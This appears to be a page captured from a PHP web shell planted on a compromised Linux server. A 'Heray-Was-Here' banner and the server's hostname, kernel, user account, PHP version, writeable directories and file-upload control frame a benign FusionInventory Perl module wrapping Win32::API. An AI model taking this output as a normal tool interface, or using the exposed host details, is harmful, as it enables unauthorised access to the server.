Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/fusioninventory/lib/FusionInventory/Agent/Tools/Win32/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/fusioninventory/lib/FusionInventory/Agent/Tools/Win32/API.pm
package FusionInventory::Agent::Tools::Win32::API;

use warnings;
use strict;

use English qw(-no_match_vars);
use UNIVERSAL::require;

use FusionInventory::Agent::Logger;

sub new {
    my ($class, %params) = @_;

    my $self = {
        logger  => $params{logger} || FusionInventory::Agent::Logger->new()
    };
    bless $self, $class;

    # Load Win32::API as late as possible
    Win32::API->require() or return;

    my $api;
    eval {
        $api = Win32::API->new(@{$params{win32api}});
    };
    $self->{logger}->debug2("win32 api load failure: $EVAL_ERROR") if $EVAL_ERROR;

    $self->{_api} = $api if $api;

    return $self;
}

sub Call {
    my $self = shift;

    return unless $self->{_api};

    my $ret;
    eval {
        $ret = $self->{_api}->Call(@_);
    };
    $self->{logger}->debug2("win32 api call failure: $EVAL_ERROR") if $EVAL_ERROR;

    return $ret;
}

1;

Hry